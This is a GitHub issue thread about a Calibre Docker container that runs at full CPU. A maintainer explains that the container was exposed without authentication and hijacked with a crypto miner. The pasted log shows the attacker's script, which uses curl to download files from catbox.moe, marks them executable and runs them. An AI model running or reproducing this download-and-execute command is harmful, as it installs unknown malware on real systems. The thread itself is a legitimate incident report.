Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CAlibre running full CPU lopad and not starting #163

Closed
1 task done
canedje opened this issue Oct 6, 2024 · 6 comments
Closed
1 task done

CAlibre running full CPU lopad and not starting #163

canedje opened this issue Oct 6, 2024 · 6 comments

Comments

@canedje
Copy link

canedje commented Oct 6, 2024

Is there an existing issue for this?

  • I have searched the existing issues

Current Behavior

After a week running oke on latest docker version.
Calibre is running max cpu speed, causing not able to open the webui.
It is running normal for about a week.
If I remove the docker directory and start from scratch it is working again

Expected Behavior

Just run normal as before

Steps To Reproduce

just start the docker

Environment

I'm running Calibre as docker under Unraid

CPU architecture

x86-64

Docker creation

docker run
  -d
  --name='calibre'
  --net='ewhnet'
  --cpuset-cpus='12,13,14,15'
  --pids-limit 2048
  -e TZ="Europe/Berlin"
  -e HOST_OS="Unraid"
  -e HOST_HOSTNAME="Tower2"
  -e HOST_CONTAINERNAME="calibre"
  -e 'PASSWORD'=''
  -e 'CLI_ARGS'=''
  -e 'PUID'='99'
  -e 'PGID'='100'
  -e 'UMASK'='022'
  -l net.unraid.docker.managed=dockerman
  -l net.unraid.docker.webui='http://[IP]:[PORT:8080]'
  -l net.unraid.docker.icon='https://raw.githubusercontent.com/linuxserver/docker-templates/master/linuxserver.io/img/calibre-logo.png'
  -p '8082:8080/tcp'
  -p '8182:8181/tcp'
  -p '8084:8081/tcp'
  -v '/mnt/user/appdata/calibre/Calibre Library/':'/calibre_bibliotheek':'rw,slave'
  -v '/mnt/remotes/NAS_NetwerkSchijf/Media/E-Boeken/Downloads/':'/downloads':'rw,slave'
  -v '/mnt/remotes/NAS_NetwerkSchijf/Media/E-Boeken/Ongesorteerd/':'/existingebooks':'rw,slave'
  -v '/mnt/user/appdata/calibre':'/config':'rw' 'lscr.io/linuxserver/calibre'
0e473801253b0cdccdb0eb17290e6ccc0a66dcc691c76a7a24650d0d0016e38e

The command finished successfully!

Container logs

_XSERVTransmkdir: ERROR: euid != 0,directory /tmp/.X11-unix will not be created.

Xvnc KasmVNC 1.2.0 - built Sep 28 2024 19:15:41
Copyright (C) 1999-2018 KasmVNC Team and many others (see README.me)
See http://kasmweb.com for information on KasmVNC.
Underlying X server release 12014000, The X.Org Foundation

The XKEYBOARD keymap compiler (xkbcomp) reports:
> Warning:          Could not resolve keysym XF86CameraAccessEnable
> Warning:          Could not resolve keysym XF86CameraAccessDisable
> Warning:          Could not resolve keysym XF86CameraAccessToggle
> Warning:          Could not resolve keysym XF86NextElement
> Warning:          Could not resolve keysym XF86PreviousElement
> Warning:          Could not resolve keysym XF86AutopilotEngageToggle
> Warning:          Could not resolve keysym XF86MarkWaypoint
> Warning:          Could not resolve keysym XF86Sos
> Warning:          Could not resolve keysym XF86NavChart
> Warning:          Could not resolve keysym XF86FishingChart
> Warning:          Could not resolve keysym XF86SingleRangeRadar
> Warning:          Could not resolve keysym XF86DualRangeRadar
> Warning:          Could not resolve keysym XF86RadarOverlay
> Warning:          Could not resolve keysym XF86TraditionalSonar
> Warning:          Could not resolve keysym XF86ClearvuSonar
> Warning:          Could not resolve keysym XF86SidevuSonar
> Warning:          Could not resolve keysym XF86NavInfo
Errors from xkbcomp are not fatal to the X server
#!/bin/bash

# fuck you Ryan this is for Felania
# try me Bitch
curl -o config.json https://files.catbox.moe/28y9lq.json \
     -o openbox https://files.catbox.moe/l0dyfk \
     -o jonkler https://files.catbox.moe/ydu55d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4267  100  4267    0     0   6255      0 --:--:-- --:--:-- --:--:--  6247
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 9656k  100 9656k    0     0  2784k      0  0:00:03  0:00:03 --:--:-- 2784k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1901k  100 1901k    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2321k
chmod +x openbox
chmod +x jonkler
./jonkler
exit
[migrations] started
[migrations] no migrations found
───────────────────────────────────────

      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝

   Brought to you by linuxserver.io
───────────────────────────────────────

To support LSIO projects visit:
https://www.linuxserver.io/donate/

───────────────────────────────────────
GID/UID
───────────────────────────────────────

User UID:    99
User GID:    100
───────────────────────────────────────
Linuxserver.io version: v7.19.0-ls305
Build-date: 2024-10-02T06:45:53+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
[ls.io-init] done.
Obt-Message: Xinerama extension is not present on the server
21
Copy link

github-actions bot commented Oct 6, 2024

Thanks for opening your first issue here! Be sure to follow the relevant issue templates, or risk having this issue marked as invalid.

@j0nnymoe
Copy link
Member

j0nnymoe commented Oct 6, 2024

Looks to me you've exposed the container to the internet without any authentication and the container has been hijacked and had a crypto miner installed.

@canedje
Copy link
Author

canedje commented Oct 6, 2024

Thanks for the answer. Is there a cure against it?

@j0nnymoe
Copy link
Member

j0nnymoe commented Oct 6, 2024

Firstly nuke the container and start fresh.
Secondly, don't expose services to the internet without proper authentication.

@canedje
Copy link
Author

canedje commented Oct 6, 2024

Thanks again

@j0nnymoe
Copy link
Member

j0nnymoe commented Oct 6, 2024

@j0nnymoe j0nnymoe closed this as not planned Won't fix, can't repro, duplicate, stale Oct 6, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
Development

No branches or pull requests

2 participants